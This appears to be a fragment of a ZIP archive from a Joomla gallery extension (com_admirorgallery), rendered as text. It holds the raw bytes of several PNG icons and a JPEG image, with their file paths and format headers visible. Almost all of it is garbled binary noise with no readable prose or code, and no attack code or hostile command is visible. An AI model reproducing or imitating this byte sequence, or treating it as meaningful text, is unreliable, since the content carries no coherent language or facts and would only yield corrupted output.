!1"AQV2RSTab45Dѡ ?Q9!JHFxU^;c" 譢ݳ]Y@8d?}AiNUw%NL뾅`dJS]/S,t9%<Vv *r."ly׋ qT7NwFo3=8+3VNAd$drWD0=9)b>&rU5h-K^eՔXfl-MT\"/Scomponents/com_admirorgallery/templates/default/images/j_button2_admirorgallery.pngnuW+APNG  IHDRj sRGBPLTEIKLLMLMO O O O P O P QXZ _%e0j>uDyOPXY}}}~_crqPBȔ2퀣ʗ4ߝp}7 ٵqQ/7ĦMTƥ{͵ͼkkuؐ5bKGDH pHYs  ~tIME 7hv3IDATcEi5 =:1((܅jBsk:wfsjA@DTLRAEkOHfh]fNNv6K0<",neh<^` 0c:H:)e _)¬\@ flezir O-2TAqEMIZ ~/C698KXPᙥ6vYP0h/ sp}r@/uZK"Uv#@JVˆe(~U  -(C8-/iQ_ => ‹HrIENDB`PK@y>\㼺SSFcomponents/com_admirorgallery/templates/default/images/explanation.jpgnuW+AJFIFYYC     C  #^"  Z !1 A"Qaq 2#B3Rbr$C4%STds&5DGUc E!1A"Qa2qB#Rbr$3SDs ?4h4h4h4h C@-[>ݸaOO!*#׎З? beZLM)r>?.0උSX],iˇ'-dQ^yqQq/BBⶹpIji\t臺|.GKJ+[wsM&Y)JE,Z5ޫ3keXFG)uU2{2Wgt,hth=(F(F(F(F(F(F*!ZVsUg$MN 8-}xk͌5h7pm?< nq%:.L’ gס/g;i 5r 3pHrІ_q)=]h. 2;BUjB~q@ yޯN:}SiC[50p9:vv;qSVBY5;NT>ףsP2hL,h~%cr/;eĞ[n nNuYǜKlCRd.27U+yNxDYjn-ѵօtƠ@)ITW1K)}FcLR`T2B?q*[J/3h P 1(JK8J@QW\Ɩw>*cV-,nJpT 'tN3v\O^OU薺50hқB$<41>g%^N%2]v$%ej{Jc{w~ா'IKi% mBP)HvNI$yVSjdr8 *BjP AVOSO3&ϣ#wlxvuR WT)sRcu$"9L ݰjSo]S4jc3|ˀ%E*kƞa5zy|:hn wjBtl{ts#壙-yIږk|IH~U Wd{D6@_*HJʻuLN`wo8J&uii~+WT.!AHROe$og 523uRu質O96S%{WC JT֍5M{u18 \_Z5E3ßte%Ĭe$:(k0@asuO&|S?7DāN9Ӎ%@I#Ey.U"ItIjYԻ6%Oz3kx~68Q [uG(H{E|N5[qZJq qI휝wJROnEk]i)hkMI8En uk,@/}FpN=}Bv袺~\O/p}503:ъ1=4QK7K–k{}MU%FAkT7`e8=@jGU,m*O]&_,itjÆ4JJTo]'vVcWrP*ye!X<䫩ZICJ@ P*rKCZvsƅQw׵7#]Z#K#cYY_iڂYvaV'a:) dq:ǖzmZ!l /ꝟbV? /d2նgRRnΌ|#׎Z9) OT#J/ !\YpvJmDU㦻nȫIPy mdᢊ[$W *͝),2-ŭX HH$NxB8vC}^vNRT5U|$Cim$s>Jjn4KߊG!E l GNL5Xᩐ^EnGzZ2DR*< jݵ5q K^B毡duή:UUG9*Y)_^a%y"˶Hq_~uf(.:Є VI iMvnar*>U]TuS"y y3HʱXlؾ{BDNl'xMQ *z괬iyk1}n \R^gϤIm>qke^qJ\q P7z`Xm*a\ ~uW2U:KYԹNFț%[ R?'mji+RU1VS! FL 2ۨ)XiNG%b>ruİkLMi/$*9H\3*3>#iq%?JT̎zν+TÁ>~}sR iq_qкJؗYqo~3>ME#UNm&B}zOE&:?sHxrg3Kj#'(Ci? oI>eYՋ Vu*=—Tx$uR=R>gX+n]["ʔN Wa![&znn#-xN۩>^q+k2K{54_ŁZz[v܈HCQCr?>^5vܵ*s!IRzqK%vȃ̝Ij1q:A;S!Tj,)LBP0uES).M˧.$HBni,D)rg jx˺+*X-En_wG:縊\lBTD-ۦ7"bP%).|6H-:Źn\F)A'93}~%.+B̃ꓥs귑t(}$AmB?UA&K^ȱkhWV\7J$Oq-Rzz 븷jRUs= :L9fgU;sˁ`46L͎~'\q(dG妳6ntnvβګtu-04ט㜾$ZEuBcxIg=>}EZUJiwQQJ]>ѦZGXoRJj*t{)yj H*'^U?^\gm܉SNχO}Ҕ Pjj VZF%Sg;Jt?PuBdUuHTl1K+#8ڒ\} ⮚iMOҽ^8aR܊edZڪUCI $|{in£nT}J2,y ۫WI Td*@O±?Y!HR(- ,zNشyhywMsȨByėZ)9[P# zwP ,.4GP. mC'!$P>#v16󆚶[k\*za:+jDJ`*J\xHs@kjmZujzޝ.i6dr{#Qa@;x3-kO)J" (%m($cרzf{ 4ŭs%N%sVZa"I,+[I)Zr:+рRADFOOMikI+=RTU :_=QP\:$zp?뺬3͔:ƵmL՝@)g!{P$ɔri axG#uA]v/'ԯ* iq w򣰆[,%Xr:oÖ=foǫ\q&U)CK#1 *V2axhjL%#otl=yW&ߜWj: ԃBEd<:2LS[j?~T]y'eD[0q.nͼZvZVl"e.!zւJ$:ۜ&;SjSNKim2 E>ӈ8ɄNY@ ;#zbtʬd*teEyŕu$)+BAJAT/ÌKi_kFyTAS/U,jm҇=ʢBIqw 'FfZ"SnAvIЕH%!.BTڝq$)%m6])wSȨu1lUHmTʣLGyMC9i8Q:˜a'IA%):9t]rwbbQ+l)e-A#az YK\tǶםd֚//${ǚOLtӌ'kn=@76LMS|(H|*1CIR@Ns4#+ڋ/iˋqblJL{ +4U>iiYn,hSZДK%6Y\z iVxQB9S%ZR* l<%cP3W_Zh)j'$rje+Fn75𖋐!!+Xr Ky-0_U)#w8يv>& R-YS[ ! 3+H@2)=JJz̊ 'w}'nRw"@d(cqЫVu>Ѻ)A&;#ڊVڇ :Cw4^ ӥm'(Dx!2_N}M ϖʇEa8gv=_m{x-Uۥ¢ :TLO:tq!k([BE`D Ӹ#Q;|L1ޓV:ڙ(`C P鬈KmP=T%d+~zmuT񬄬=:Q2gϢmf -y~fͲ1u$.GI ScJ $ u?MzgBYe !) j'Nj~?A)yj ?*WY(ǫ27:ٯ2z[w TQ)\+[ Luj\pȤ7Vd[Faj!nYqʀDWQAX>f)$yR2:W\vQ)$\t04xއn,UO<\.Ƃz0e~GNχU{q:]ƨ H /Nt'ƶ,W.^4) =$@؃^G0v\$I3g4mfְ#]"+ZZHR\3;l*)2 ƁS録:eX>iBRa-# @JR=Ɲw?MD4# ,s{= t. u{d{6Q|7o굖mnC_Ӄᶦi{L%|SnVGH^@*[J԰eBT)I#:^ Tzƨ8N%VF&X"j"+kLF0JycX)\=f RKalʌ9j)$z [ m M*36T;S ?5ݸ ȇ$R##ߌzЮ& \Qrt>㍮2^#=F߇xfQޭǀ-4$H9׭."%1X Y2\F4;~ѪgFaa rHLgpR?Mc}9# %Gbڬ=:u) AНi,M%)4JO+]cӊBy A :Mea%8s_퇸i,˄a5x=,F;+?]zut(qRu~݊գqBI}K6nRUGOmP4'PNŋ-+rՁSi++Z%T*9ON\]xoLY%IhőQ_8RRzOqJŕŦUaHzkR̺4:۲H+gPq5bArө>clBK>6x <-\JjеR (hH6H|7ҷN*lCx|*ԇ[uWeB5>Bװ֣"JByRJ[qdKmܻ \;Ϸ)݃ :Î4VA#)W ӁůῨzʏogRks_C̵lHqm3)T(=U_j]zu_2ܓ5-(qEKW*@Hʉ8Y.cFԕj>L$co6~GWP (Hk+VI[k.NQjt%bDʜuT@JTHI$kk[C;~B jW~"Sil@wRBBSF:DN!O73|vkpC<:g{6 օA#zи qrAw Ɓ('S<]w ׮S#ɼCЀi1w#<.x6OqyN:]WR3_9s?fiRZtx6VhiMZap"Ta#^LɈG-H?oߖXȺitFB]ms%`A=w⯇%H̩pd\^O.*^娥 _P(8Η 7:hڈ]Ej1ii}-+ $( ӸXo:[<0gۨWN>lG,\3IETnc*bKGS)Yz0ds[ڽzmJ+6N܊e凪(-*=N;z Dݱ8E-yD){DEFlnj\YTˣB)ZHb+"ƵjL72+ NO/D F#k3,S08(5,2SPO&Bú.f2O2 F|!J`yT=m붪aMJducBGz|Mhyk62RvA#~ (K=NݪVxE_;{6j%LB>)XiGH!woH zL!HNP|(?$2Y-Kq岵~yƵ'P:7}Åu <UVŽ[HڻUMpV溰2tF(;]ثه(- I\rD+Ypc 4sl."UJ *rryUƧŚ? 7FP6ZGrC](5ʌUDv=M[e-2zT:,ȏA%F,V6ۨи ,+X#骪5'#Y֣LRfӪmH r,@5b™^/4 ›t9#Q =܈8n<w)Czd]U6䢟UshDԩ0WU :l|ؔi6jDyX*{Qj[cqmui1e/Ґu/@Q^*lT! -S8x.ڌ6 )i{ +ZV{$)G$knxXrM4Kv2y3!5W=ZC! m>@@+ %m(Mptxׅ}SQD-L.6RS\j{"VMuv̩IRKԪ5&!h,Y s؃}qoug“X*"v1O/RRW@ϩ'[ .%%U1\>YR3́5;F͖!LBX"RBG}uaNw >;xLd}+c!D?H-k6RyPz3m`wN16NZjtԥuR)HDms?^Q҅[.7d }H?}#QzV15~0">mv ֳ+Z'7nEkbk>X tu`i_]H?=iMrrc]]I-}0ō2B>@?Ѩ sV @MF"\U@u]Lޮ,jOS֠Gs}BSxg**cEPzGZu~m&K"X}_#沟>7[‹Wcv' KC@s8Vu#ԍHf|o(]0۴mM[,Gا\&i[.бhۖMN "< \&@JP @5HeҸfx 8SiA@HLJ8]৆ f"[S(gO DNrpO(00?=VQ5//1 \]8ʔI$ uF%Wy0Fr67T5t`@$]I8R6] Ga "skzU5\ȬVHJg< jm]P~})i{@URB-[SQJP2k%qDњgq#QOg~L|ݥԖ܄5ݩ ӷ󣬌J֟Tu`E[c'Zeg]ӟiEN;НI"#l҆U jīGe$\Mv\B޾$V7۩)P[PH#{͟C*G _TZmDQ!goPUEmy74chQϗW--wӿ7%DGj \HXqw=F#7jXIBY6ӥ`v ۙgvpwfmY/4yh HF뒪ݱ!-~$')pgqknW Q1juunf’8JN~zfVUeo ?4Z|$6G+M(sQQWƿF-n:ke8"I;g-5j/VaSG[yMkAv XW&:HmfRօ(<@Y[ٌ6Me$㛉1Uir(g]eք /)# u(ͶU=hj-?jݓ*pą~:i?X=;ٟmnD ba+D^?鋸\8<~N "+'mhST}"ܗhJ[_Ȏ׈j2[}_Zy[mTrH<騮ZO#F[:MJZԆ&ԟ`Fq }''=5;.Q,ɮkCkD/Œ@\(p͐VR0PN]ۊ0MRQ,G+iyD$t@@MÉH4 E8 gwYw\Ê:yHW9I6J4[(͢H/M%RU  v}ԙpNHI#suS&KrtJÅ-E^(?X+:J޵{HBGƹnS!ˮʎq1Sz ]r Sd4W::|G6's/ʢ1 ⒓ B̬WQj٣:f:TYl'h m'l>4yp6LO>Ot:GS_Jz* =Wjڕ&LFH9$oQ ^z^j}T֖Ӊ9km.#Jt)<Ǿq6bFէ˴9O ZOmէRS)? *=5F+OhE$ SF:E,U<AA''UhE4hE4hE4hEPp;Kst%*$jr}nf۠>J@tJ3Moz]bj-O0ó!%|S"SIR}>Zhí1,\ ($j&$V3ٺ=qceW-֡2|T@u D}5ٿۆ\SDE\i`}FuǖhCnj@<Mi& `O捫ܝ}{.=g)#e>x~q74W!tli$-q;vζWI.je>]N?)?'i3evė osROӮZC]K#^H,7p&Ś;ᤊ\6]Iq ZOӘj\#eAeDH?M6n!v-n[{oC[Q5n[^NGZoqn+2:oĉ[5f GZrO+>qӤڗ6XD *Jyk>`S˛X*5T7!Q t *L KϷ%==BIzŻ["T']nX$O\E^rsoXEk7LnV>Ç4ꇼz箏awU{*b7)t' N}2;Ch$Ŋ]?m^k9gVMHԉ)3+*qUQ#i"Mf)P~1#ֲkNͤe8%I*^xx`&$ ʜe{T/ӒmE%DJ0yJR잝 *brvZ[vdH C̓Gu?vh\LQ<ޟ1#kbLrkIy}T[I=i//(8me=4H4-3QqyV֚mO*ҎqxDZr؜sVԜ\5ˏ*QrHi KRWn ~nQnx<}ۊGvSCe"*Ԗ5<9kob7ZUrF%i8%pq[RZ<_wfhlIiPW0=6mFzhFsc:9kSϏtK_tkQ#|*#&Ѫ9՜kY?DUh<4s:&Fr3KEo~(ֈxzg[mKN3":OM 8MqZͿED0f6HWOT:(Y'ngel\%Tĕexm_tt6խOUZO+?OjXm|))q.T'rVr(j[6>c>>Ӱސ!n%>=ԮEsō05')uju@;QJ20SwYԊqKS uԖW8)y=߻#zBЫ)x{41h[<@@ky<#~9C(~v.͑GhLm*ӝ}VeS#%%M<)$@39lnդ #?l;ŌAbvŽkqC[u&l8RS%I5qN*m֔POB:CmijEZvm'L+= ?Ψp;5>"{+>7scePj:Te<#ȴR`ՇmL Jqԩ֫x\ƖYLzsm[qZ{!c9JKm^ķy'YzJsxj5KPQ\)dnZFQ;,Βzi+n=꫁ ӋQN5Z;aUiJ̲?:c]Zl%GsamX,uYiNdU;'%&RLick*G\B K80& gF QO{MÔO-ģI"PG<iSdRܠ2]ƛ¯T 7 \B)F'ߍMߜ,Vsh$|Dp)Aq-I1c\_ʳ"{.Uwf)V LD{QTTOkz *\*s9VA uߑFƈ`;)F~t _\V mVZpe@FGkY]j-t]JS1dLv⬴Ueg-}#:-{s?@Q)m^fU tvvW"tI1`=f?2,g>AJ9"wv*5QZR:WLrmv{gv?ңzu-:"Օ.52ZC6<`qp$nIMj MT*2 &Nu%~[HARrH|5m8gKVL(LHm"{RF#oZS 3P:5I֥hם1!/d :F=r+TRRI\TN0QKlTi#'R6#|F[}o1a<9>z҄4W k.Bԫ$)Ă>J*(KNxS]7lQ*1Q1"}Տ#; ?l:kEŠ„9j#M$ l b5\RM/v 5ƿ˟?uv 2je+PHZt2sdiCMD.%bOT$mUI BGԑ?\zҞԍBAm! L{9m$ZQUe^i.V$' :V= pfNu,܈9ԢII]Aqab#ZRrɶ[DZ˽5$g9XOZF8 tq'1zPW3د]۰GDZR.JAX[~Ը4y.ӕr~F/Z.'a͋SfKhmo%%mr!{9RUd:yQugx )C?ꏰ"Dge$,|.v2L"rdq7yrpRQ߶=a`5Zr؇ȿ٩ʑW{Q]61MB~vW֢<S ֨'؆۰W2}( W)ԱoxA"Zx9J'H*ͥR a\)IQM9;J6[)hQRJT}u1 U%Fֲ#=Q¬S_SRu!Iq { | Qi ̼i-YH{\ z4TuY0H;RjY6m"Q BB(PX_\}!\dVX!~TK1֤0*JS_wruf|U. 3h!m/FG*@# R'zh(uqԙW3?1 6?侙!.}-FܖvFa'dҞaa",KKEheD_)1i6.1ڃ`#=9h{0KKyz$:L{v] r#IwI="S)t)' *N0~~SkrllM$*hG$4zd)n9%|Ixc7JH•4'iDG:ҥG^Jqû%6W jJjT~sӝ%L Iziwٓ+sR#)fV"9`dy2TU+\o:*Ew쇝xkWwQ#*i)O*RG`kݝܽJ6߸|*#+@$IZIJA {J`rQ)KR@ =onhve~%a8i!egH]]+xgEU- ).4LqJn#( 0\!ѠV1t֪Q˱. )%IH}t|q_p֣ n\wUr3QVJ9g>]W2º[UIv' 706963nj[dJ}1N%,.)It2'č\JFzVkì[vBRJ?hJMLf¿OT6C$hlT*ȏ!Al\%(6[hᲝ}f&WWv=ڬw%hm|(Yia r VT7vY RbB[eIC(d-$I= ui(Id:τ}\KZ(Д*KZlTCӴ$(O/jJnZ ȯ̋&B/$7).rO_;Bwn 5tF;tSFMe J#jsL :ԭRe!)'NO3]ڪpWݵ%jjt J:˂JWS'^v3Aqx&ڽsr ےIa~k,Fer.m  +Tgi:m:Mrsh06>6 j9N.6CHSM [km(pGIQ$ $+9c\_&4~Gj/$,wV=>Z۔FVq!qU29?!jLš}.Ti_3EHqk*BU+ y8ycj]HUY7mv P##Z~qp5im ;.ɔaI[KjKed-'ONsi!+yju.-Glmݴ *QGXf K[|*FJ t9 KIK!Om%d~JG\V&ͩaVDvn×De!e lEO^X,ioHQ =GZXa,ðnAPjQ8.yL S)[c0MRIQh- W:x=v.7v-qLD}?֑ʵ+R'R[%[ $)SCcrt8}ɶc.qQFIV. /-P雇S5ۍsA Ϻ:g9?mֵoW %&;}LbOGZxܞ%7f t^XJrPp H#PH4굤8ֺyZXҟ]oV7mWUeފ5G)#=P&Ulԩl5@yR) O&(bsmȥwDdPH9'7>6tOf@מH#{!RIrTܦ]P9)RWM٫jRGUG}m"Ԑ bjP̅ReJ5 })PL[lI%*$][z҃:,FpB8>v]`)Gr {xDy XؠÀ܆^.qqn/.D5=#@L'갑j vBTnR:vή6P%*t63vjV]VlȔY6V=pfY :$1K%$4 Xa۰|RVu.ƭGnn^&E~<&*R!B{%kV7[mXaxjaKN]%*?4Ϙ>9䄓0~zM[w.ڎm Zs9fk\33qJ}أQs8KH)Şո+fխFwplxM.!KUU"S #H\VRqҜEcΫg}ۆ[{ [aťrH >`QLn; QuR? O>#ysʯuXPP5fEuFv&Ly00]p%%JBA' Jzt 'OiQ6k>LϵSi6*qV!2aS$OU",j)M cfC) qIBsR?rsrvy;;k ;)}ZPT*گKɠܖ]Z.UfE =>8!wцR_0[ _.Yq*=ɪ@Z%U$KYD IL0syVNDst7sFcI݋n)$nj2)-P NJG<ֳ|Ovu&@e:FH ҥjxm%ei`;q3OwTїBԕMՌs(u׾\HA/g,x[.-W=kY ]QZJ'`IT[\WmgITZr!-B(|v_`+u}|MK3%iy^q@EvǞ[ SmoC")!T 2<,zzko Aؼ JTAIOڰNp1!jm>.W[؋r^<0m&>gԥ/W)$% z~zO*D]+PJzZR>q_1`W5ydّ)WЕ+kYƪ*9 Fkv}v{YU,!k-!D)L0uEi'LX[UnJ^2m]EJac <}Y U Bl?UR/ڈAj!${'IԭջlZ}H4j[IY)fPiLz碕8 vCiDkzy&&KJZPG.VAC2 ^uNʭó~ JIHb4PJ*tku iY[#Ry1q,J?=t(v⒃ݝscSRI5-6].AWd:n',?S9JzjL~IƸlu^̀nqj:۲2ޑRap;TgdJe-'$ma_œ.n&[)71%ziI~ nJ@45rT%?]D6qAۻOɸLw*PeZRPk VN:{Yw\KCR .Ż%TG2iZ{g "iٖ g:g|'/!)IV~o\mCRݪv+L)s!Bv#OO zB㜎]XZ5 枇iZ > {;-via?niy~xа3="XBT+d+'q)BR˰oaVK`)l)=r C{!\dV\PD2TỊڙOAT;8uSOkKP L|R{WpEi*JJ2 KK$v[[V(4@ HjZf|<6\Zg/iJ! YQQ<ğJe]ʷ[%4)y[?* GGDQ6-P b>.YKl򹒐=3pU 3/h4>OOίyhoH)btt+衃AarM9~5BgM+Ƈ78হmԖ65?(e͊ws<,vF{~ xF)ubqCGʼ{%RpBIN;>' b[=rU?S'\NQ+W<)( c Aq߷MXkWƬ6'j{&~OL:GPGMTzVsUri Qƭ~Xܺa!%R :0 YۻUt"2UMJ);ȩ?5-.0T֐9LM6s[SO7ʴ8#8ﺾ#O.܋rkTKrKJN-\/yU3"˻`Ѡ\-zt?M%4˅V *#T0ptm[fTk5/y'B@* "B}Hj${kQA髉FU"kPOU~ dB5q)?WnOҜ~Zı˼;{dQk`@SϺ''#$$cEJٷeNBRI'rOT} JwPn]HaE=20jRzcI?|3ҸBzvLzJ&s.tԅ:V=5YfU_(x[kqgO$ Z4h+Hk;n? wZ3pg%p'^s=v,mnURd;ih:҉m5r1QŒ3k) '^gmko֮y-liqta!n5̒1cZcIHJ$m1{6?<1ΫaB~!9' ;jT/߹R)Q04NUt@q,ӮE=ɾ{.E5vSp`g}yPGPbX&9xVk$^ۻ$:J$6Oԍ0qE>:*nHE:#~C,*RCܿJ\$ ;xOJ zBT!i*JTysHP߆4 Cla.-+bSP2|G1>gק 2dͨRӪz_&tԐҒ?u(P'b+J-] li6?= 9EWw7E7GXB)ӱ֭k_6?,kz)fLCz[Y棢:DWwvF(G0LzVQYOR;o&xXKkm!dc8?m=e=a:z՗6A(#Yl5Cyo^̘,1SZYAcWtOC+ԿFM7mXRw&d: 4y RIƢl8mSilMӥSJԧ2(QI:iJGR:Y[ ޽oIH]U0w\1jĭV}eõ娶-ĒrI=uHI<Щ.)iNe)-{H̹=*Ҏ{%$>zTD[CH =$TşaF86pajJ=:tAA`Ipi<jO5=gS?hznLkw냙h??ݾ04-(0\t &Ċp-#::z|Gn\=eu>E3\;uQ$MMYjiejN~YC=!j]EXMe\tDTxBxcRʽ)A`"}Q%=:yF 醩c~xͫjw K~U$XHjIT]kpb독2W x|]2?h\UƋon֒9_Ϸ!9L(-!9WR07#yYz V=(씓:A w+o͗ᔧFБ3KW|Gf u Pp(( ?맵忺t*kR\qa[P6aȴ3銟ٛ.Zqڭa:sc^6^?[gJRȔ9I$(9е,y{y+T`-Em#QR)P z=OQY"|F,h[@-kH%IW @'k]xWE| &oȤCUtBN[2OIb@ ru/=sj"- س5}mP]뫩I?=k* ƚmކҔ1+!DDM;$DCǦpA6N&ԧӞ9P9Z0㶨VNB/IYR>g*Ҕu)遫N?A%Fku˙z.ቲeŭ ˊԮ$o)ƪJ :q(<ž\SLmmF਺K.Hx U< hi(<ڸXސ#e\qA- RI頻M+8>)S!KGZH[g<\AmI>i|?wwD+qR#4deGo=`%%O!#+sh6q.c R9POD4j4hEkok#*BI^l|Flf񹹴_ % Jdc#x5u%ڀ!I ?7W_IYRZTV93jx\Z`eW+8)wLdE=x{4ήn(4x'ju™0՟@g9i%<uAeԂZhgb GpEeof|8VmhԘtTҐ߆׼TډLg%CP~\i+ڄ(v^}kB:t wn,]i1LZe-+q쓟-)g]pw8'}iC,>YMe8TV|9WY@=6!$*J֌OPMaT)ѪĆP~GOWn|ھoUm SFQΜړS J:?}Yu1exOjYW1\0GP[sTյQ 5v,a3dkw*?4#:x%sbUПvz 5j 12R{Zz(gl-mܕQ^-x}q@tܒ t O9ă^rR+jc d Tg0uq-:ZaBSO{ڕq8h:fmd&ԕ%p6USg2AݴȣP6^@\2e>x R\9`'eɪ8 ?f JLK~Pue0BSƹw~HɮWvMj겥XU(,F%֢A1(PQCN5ouX”ͪ/7"+cB<+JBJ¹}ҵcm-{j=VOX(f9SRr2@`⛲;mCuʽ&|H2U(U)n%iZiI Ypd`5f Y%zRBT$%$$-(#_x/1!5.IR(ɫI&QLUEM*_kn'mGqa+P:ԃc$0TyU[ŷ{B3{jT*ۊ@a ڶ]tiӪbiɌHNIʈ>[d@_25Qj$G$VYq;)ö>=nH&pr6UkJHP1 yֳy]¶TZJD e$ u_Y*l%ۍP?R@jii]Ǹ\L͉! ye,Ts#_A^wcs0f<9 Ƴ-[8LA#!&#\؋oEUxҪʃ%ВQQtUݎU# Hb鎚 .~q˼^Y^n} Fׯi~Ri%ӂ8ڱbqꨍΪ]QΧ-C [Fze=PQ̕`b!x8OlҮ+nE)HXk9fG(J(NXdVS&;7deiޖKk 44=fF&ݽ0 kԧb8R9a։#׬mt(ZdҮ [)ժ{RQC#??)KonҾ7GyJ~z yHyZvǴ TS[*髉GΦh-k30rS"ҫ^^[|H9 MrLM!2zN5ߴmQ,!O@P>,\C,n,! OR?-8߈QfpYMjeTȍ %m Q@:+pױ&^l=mB9.Aa~bSG!?3GJ$ 0\=-+?$$U;Z'nwZMląH8yc H%nvf۔HH\DX굞j%J=I']X@I:{j2*ok. @OR,{[m*x@?O9>I B߸TrI延Pu5?c){wVGO]UfrXLmIv1?]ۅI;4z_;Nxhvn*p5?,W7J.Im?uVJ)b8=CHYZŮ]Xp[!dxʾWW p%rɡCRQJ\+ZvBktSϒ?"Oiշq+du#mEkL\$Tyk$ZwfBG8mn ǣAkxɩK*nC}Co?D+fV:$!|chQsn+#c$ƫJ1ts0CcҤO`v햴_V6vT#tfܐZrT0~ tNVm_oCheS[KC1qTu)zG߄Op YɶlemJP2@IxG6.ۭ۫ѣOcӤS_j7)~;qJU\qN0c4ep/R! s¼W,|I:m,izL*H'@ ^:1\z#[TX 'NDZwA?J**7HAO|=>:o{]}nDu!$%Yi`s-YW%a~BHgmܢV~-qt[A h 4kVFF|hѢ0>0>4h4`|4hE4`wƍ(F(F(F(F(W#*_$osVܩC(CcO]:IWp }uT&gR< HS2~8[C aDu y]V#E t{b=1RG=3jfBdV*ԅ+՛ 54S[*Q=i(kGS+i CK=NU>ˮĘO"RyNq4V1c:fJtkgmqٛ|YL^Ż/k-w$e> dBk z㚷G~O B0S0?Y[t=oHQ@@;ն5j`\8ZxF+c\DV~8dޫPl9kw>⯆ׇʉCb緤E)FR[Y8זݽY+S-*:Sgx{ڊ|6vr;ca= ~௧a:zp`4֨UVF& Rb)N&ZԟeiJԤ[RRHlE7A6gn5Q*D5\% E⚫EN,D׼XJ&g\q[QRmt _YRjn\N!#ҩlKZ\%XYmn` I'oyRz&ժĺt)Z9";.֋趚OiWQUʫ9`f [S.$vI'm*LSb8 oEЪU:)v[q@Lo=-HL.#˱0q8y ^}t;▭.nx~Q2OP;{X7? {dŨnͬ@I&uJDܭƎm"+{Xn~ǴkZd n6+LSYo+QGexm.[{AOHԪkO,:a*XW1 Hh-Km6 336ś#xϳq I^ΥZT|_]&qhIj#S=(j[0?(i<|l5+g_,#q-(7~tHMǨFbd)h[@Խs0;wPBK K:%!g5!0^kq47 =64hW3F(F(F(F(F(F(F(F(ZpV'Gb[NUje<s~Nu#=[=);†q%UQVltmS}1E~1k:JJHQ]()@{>:̏O@e!(P%.Օ6l+A>j_N*k{r9뮩?+}F; fڒ,uN;jDg*\3zY)kfx觰Qjm5a"xOg %=0"1I1,4A  ( Jls,js3Tϗh;UQ\:P|एp?{2=K>quWM_t7BXJq ҭ&g76hj h\ Lyck |J۬m.)W-*D`MnCjCR\m=$B6\Jj=(?J/_ 5>)&v}w%]аzQP=Aӻը졄%[BF=1|8d.qK}gQ@l<4hV(:jWmP$ii T{5J#*qeŕohQk!*BT#ˮl\Ŏ@Jg_WTo鱷VJ"Sg&-/ Œ`d~WJAؗN?rl8AQ @#Dj}jWX`gVО>I5@j0c8:PtKU>` w7_*j}4QUh´RR0EWFUq{tHO>:ѢVVBJ{j}Ѣ0m4h4h4h4h^/0.7v{I3kգ:gH<2(VZT:jxgۊUۯo|{GT[QS1E^HNN[$d^0>ǟ%B+'EmmHyF H=##==+"8|klOy)?^ccW;~ ŧ|J%}V\292Ciގ9 CI99|m"FNwJ&:iOsЩe-XRP`>U3 iWO4t2AU=;U'j px]饕anڐ'/66JP:^רRN0\A^`4c`-i#kZҏTB꫸)VFJ}DŽʾPv~/7BcpﺙuA)ubJZI=Z>jP=n.nBGU-)SIzSģQ=}8%wR]Н x1C1JRyK5!|$xp_u~ܑTNics[1sدZ1`W$͞М:-)6--n'~`QѾgT Efmҗa&՛a4>nP2 RmNlvimHZ0f聞e)DjQ*RJTI$t0PCa(H)UӨGdM]qΔW@=mU9ѦW4hѣEG :SS2ΧO>*ւ|ঢ়$`F@:ڐ} R ;OuV/h%/7VB|,:P9Q]_ʧX?"ٺ.[er㦟G9Ȃ\rT?MV5*ݵ/IEƀ *ܔz2Zg9\Tggsc/+/sͧKMOtS3hqhtdR@Wul'dlOwBҵ!zBT +2c,1{8TpN@؃kH#[UlQcK}LSRF2f.ʦ9 ՋwnʍO*'29YuyTy,4s>W1K|Pq*)}{]4-5Xœ +?QGNZԤi؞Fz5oxZ HfA$g}۟*gJWƂ'A˧ }W.ުҌPrM 03G?ԭr4=SNn&Shp!\HuŨT%2W2R)/O&F^DD@uk"~Wǩ&OPI& nUje?!܋︩mzR.LjS]E"O;^Q)+s}k{j ƨhqK`ĢJ\9Q)1Yde痗ʗd0+ 0ukîuqp$ʺ3N38zҦ{z n &!1Ko~-U~ub]62ޚt\rSb>&IBe BiXt69Bk8zٻMkHQ[UEWnB*.+MB[6km%ŠoLGa zv?)twNrpEb 01?M"G]0m-(;QILDG]UKS2C)Es{~dPWuF&BRJB;2Z+V⿨Ync(wURxEa)g )-n 8%.,4NH"xւA}QȒv OZFmc(ѣF(ѣF(ѣF(ѣF(ѣF(ѣF(@=ƍ)* sNFPX:.̓F(t'*%{)#K`j@1ѣN$tJQЎ`lcF%'ZOShK֍4h4h4hW:[n9ƔԨ̌R()R*Ҡ T:2JBMfyOu=Nʖ4iQFQFU(_PK@y>\xAcomponents/com_admirorgallery/templates/default/images/folder.pngnuW+APNG  IHDRPPmPLTEÄJВťd̎ՙT _غ{ƆQtOݿܝ᥵K|iCҰnвrݽ}R̪eԕqJua:ݣZ׌|WȋսnZ1ͭl؜欙Ŧl׸zβ}}J×Ȫm˝ϼϷԿʹŲŌԶŴyd<μì{yyyմsֻ͍تoIzf@ǛtslӸ_Ɠ̯uzﭭ׻梋[Ûsb>֤֬q]7zӥɫrp=yT̲Ϫd̔ΚŢ]mlgִħqͤgǦϵpТƵۻ|Lؾ챬RʹӪڹpBhT,lݾŸ[Zxwr~qRƺaĵ̽˯ޥ¯ʧbR}vHnyafs_5Ͱx]qA蓌}ֽ­zkM~N{DkÛU઒c`{{slεWޭʳJ {tRNS@f5IDATx^C$ItٶͶmضm۶62;zf]T,aK R)5466}+u_/gϞklj9ſܯ!eη]7Ѩ^9RkV7G>wz<([aFnwt#l@Y'W1cH0Dk h\RAcomponents/com_admirorgallery/templates/default/images/upload.pngnuW+APNG  IHDRasRGBbKGD pHYs B(xtIME   %QIDAT8c`fB1NH@32H'\cLJg!06&낙L b Pb wJ #kLIENDB`PK@y>\}KffIcomponents/com_admirorgallery/templates/default/images/icon-16-popups.pngnuW+APNG  IHDR(-SsRGB[PLTE > >>? CB D C@@HC FCDKIIINKJJOLPNNLNLLM T UVTWTXTWWYXX"X#XZ^_[\`a;b&^:(^ d,dAA$g%h.gCEFI5g7h0l0l-l-mIG /m/nL9lPI;mMNQL;q;rPR=sU>sXTWVX[] [^`^c`b fe cfiki kols opwost{xw{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍   wtRNS@fbKGDH pHYs  ~tIME #%iwIDATc`tpط]; ߿wP`)\`^m 'ܾ}' '^zɂ -SjRf妄 wVcKFо IENDB`PK@y>\4@Ecomponents/com_admirorgallery/templates/default/images/operations.pngnuW+APNG  IHDRasRGBbKGD pHYs  tIME ;!HEIDAT8˅jAS]$'NYf";_kŝOc:A%&\qa E}|uOnj0;3lll|ʲp:Vl 